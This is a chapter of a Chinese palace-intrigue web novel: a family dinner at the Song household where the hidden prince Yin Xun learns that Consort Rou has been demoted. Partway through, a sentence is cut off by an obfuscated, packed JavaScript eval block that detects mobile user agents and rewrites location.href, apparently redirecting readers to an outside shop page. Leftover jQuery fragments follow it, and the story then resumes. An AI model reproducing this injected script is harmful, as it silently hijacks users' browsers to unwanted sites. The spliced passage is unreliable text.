宋明舒瞧着眼前的少年,听他语气恭谨地喊人,没立刻应声。 她长于经商,年纪大一些,走南闯北见过不少人,自然听出他话语里未加掩饰的疏离。 这也应当,毕竟两人的确不熟。 只是乍见名义上的新弟弟,变化又出乎意料大,她眯起眼,下意识带上审视端详他。 隐隐透着压迫感,空气凝滞片刻。 少年似有察觉,却依旧保持着原来的动作,只是头更低了些,没再说话。 宋明舒后知后觉气势太盛,见状扬眉,打破安静温和一笑:“寻弟。” 殷寻的身份背景是她亲自去查的,最初自然有过疑虑,后面才放下心。 但也曾因为他的身世而担心,担心妹妹会在他这里碰壁。 恒照年纪小又甚少出门,不懂识人。 这少年身世悲惨,必定戒心强心思重,不是个好相与的。 即便她占了个救命恩人的身份,也未必能得他一颗感恩的心,反而可能把一腔真情辜负。 当时宋游月要独身去闯岐黄山,外人看是她孤注一掷的冒举,但其实都在她和母父意料之内。 只是他们自认能给她兜底,便随了她的心意,只向项家那边打了招呼。 不过如今看来,倒有了意想不到的结果。 想起殷寻虽然克制,但总不自觉看向妹妹的模样,宋明舒意味不明地瞧着两人,又看了眼妹妹。 后者一无所知,全然不觉这对话里的交锋。 她收回视线,无声地哼一声。 这也是理所当然。她妹妹那样可爱,谁会不喜欢? 几人正一搭没一搭聊着,过了会,戏台上唱着戏的花旦停了。 他们便被拥着,等仆从们忙忙碌碌布置好餐椅,围炉团坐在一起。 茶点被撤下,顷刻间,一道道菜便传了上来。 先是小菜和粥食:油炸烧骨,银苗豆芽,冰糖燕窝粥…… 接着最引人注目的,是盛着滚热汤底的景泰蓝羊肉火锅。 一旁瓷盘里码着薄如蝉翼的羊肉片,在灯下透出诱人光泽。 宋父宋母不常见到殷寻,寒暄关心了几句。 他们对他的态度平常,不很热络也不冷淡,倒像真如对待远亲家的孩子一般,甚至显得格外和气。 他们心里记着德清大师的话,担忧女儿的身体,不敢怠慢这残疾少年。 吃了一会,宋父看着坐在一起的孩子们,笑了声,挥手让人取来珍藏的好酒。 手还停在半空里,看到宋母瞪他,便嘟囔着放下。 他魁梧的身躯微蜷,语气竟透出一丝哀求:“祯娘......我病已好了许久,今晚孩子们都在,我就喝一点,好不好?” 他爱酒也嗜酒,以往宋母总是盯着不多饮,加上前段时间他生了急病,更是戒了许久,一滴没碰过。 宋母嗓音虽软,说话却毫不客气:“你自己看着办。” 宋游月看父亲这般模样,和姐姐对视一眼,都笑弯了眼。 一方面是幸灾乐祸看父亲笑话,另一方面是彼此的心照不宣。 他自然不会无缘无故生病,是她和姐姐做了点手脚。 这一病,成功让父亲逃脱了上战场断腿的命运。 家人围坐在一起喝酒吃饭,灯火可亲。 仿佛能让人卸下所有防备,在最亲密的人面前袒露所有。 殷寻身处其中,尝了点酒,也有些醺醺然。 其实他脑子清醒得很,只是不禁沉浸在这种幻梦般的氛围里,啜饮着对过去的他来说可望而不可即的暖意。 家人,亲人。 团圆,欢乐。 可同时他心里始终绷着根弦——要隐瞒他的身份,要试探最新状况。 宋家人都是聪明人,对他没有信任可言,他也不愿有多余的接触。 可这是躲不过的事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638294|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要他一日是“表少爷”,就必定会和府里的人打交道。 但这同时也是机会。 宋父身居庙堂,他不确定他是否听说过“六皇子”和柔贵妃的消息。 酒足饭饱,几人聊起捡到殷寻那日刺杀宋游月的劫匪。 殷寻默默听着,后知后觉感到那日的凶险。 “那是吕家派来的,早已进行了清剿。”宋父冷着脸压下心头不悦,温声安抚他们,“吕明罪有应得,没抄家已是网开一面,偏偏他家里人作死非要一同上路。” 吕明是朝廷派出守卫边境的参将,前些日子被查出宋父贪污军饷被斩首,吕家人因此恨上了宋府。 正是不想被怀疑,才特意买的山上的土匪。 可世上哪有不透风的墙,所以还是被查出来了。 至于为什么单单追杀宋游月,倒没有原因可言,只是临时起意。 宋明舒接过话头:“吕家.....若我没记错,宫里头柔贵妃的母亲好像也姓吕。” “倒没听闻有什么关联,应当不是一支。”宋游月说。 听到柔贵妃,宋父冷哼一声,低声道:“前段日子柔贵妃不知触了圣上什么霉头,被降位成了柔妃。风光了这样久,也有她沉寂的时候。” “降位?”几人听闻都吃了一惊。 宋游月冷笑:“真是恶人有恶报。” 宋明舒扬眉,畅快道:“好极了,如此定能安分一段时间,不会被闻家这些蝇虫打扰。” 宋家对柔贵妃没甚好感,原因很简单,她母家仗着女儿得宠,行事跋扈。 若如此也就罢了,他们也不是管闲事的性子,眼不见为净。 可有一日,柔贵妃亲弟偶遇宋明舒后,一见倾倒,竟大放厥词要纳她为妾。 虽然当时就被宋明舒劈头一顿骂,事后也登门道了歉,但总归结下了梁子。 宋明舒如今十七尚未婚配,是宋家心疼女儿舍不得出嫁,怎么可能许给这样的纨绔。 殷寻得知柔贵妃降位,先是一惊,接着是一喜。 原本他还在疑惑,离他离开柳家已足一月,柔贵妃竟对此毫无消息,一点试探都没有。 他还计划着利用今晚,旁敲侧击打探些消息。 可她圣宠正眷,为何突然被降位? 殷寻垂眸,脑中掀起风暴。 如今他不在宫中,难以得知其中关窍,只能凭过去的经验猜测是她牵扯了某些利益。 对了,子嗣。 他方想到这里,下一刻,宋父便继续说。 “听说——”他声音低下来,透着醉意,“十皇子近来不知为何,竟在皇宫里面落了水。” 他没继续说,一切尽在不言中。但殷寻心下已了然。 十皇子如今才五岁,是婢女所生,随着年岁增长,自然要养在高位妃嫔膝下。 柔贵妃便是圣上为他选好的后母。 而柔贵妃心高气傲,自恃未老,想要自己的孩子,自然想舍弃这个硬塞给自己的继子不用。 可如今他受伤,无论是什么原因,都和她这个母妃脱不了干系。 闹到皇帝那里,天子一怒,自然要受罚。 不过让他没料到的是,柔贵妃竟没周旋成功,就这样被降了妃位。 但她一定不会甘心。 殷寻深知,她绝不会甘愿停滞在这里,一定会用尽手段升回去。 不过如此一来,便给他提供了喘息的时间,可以稍稍放松心神。 他心头多了几分畅快。 然而下一刻,几人的话让他出了一身冷汗。 “六皇子......”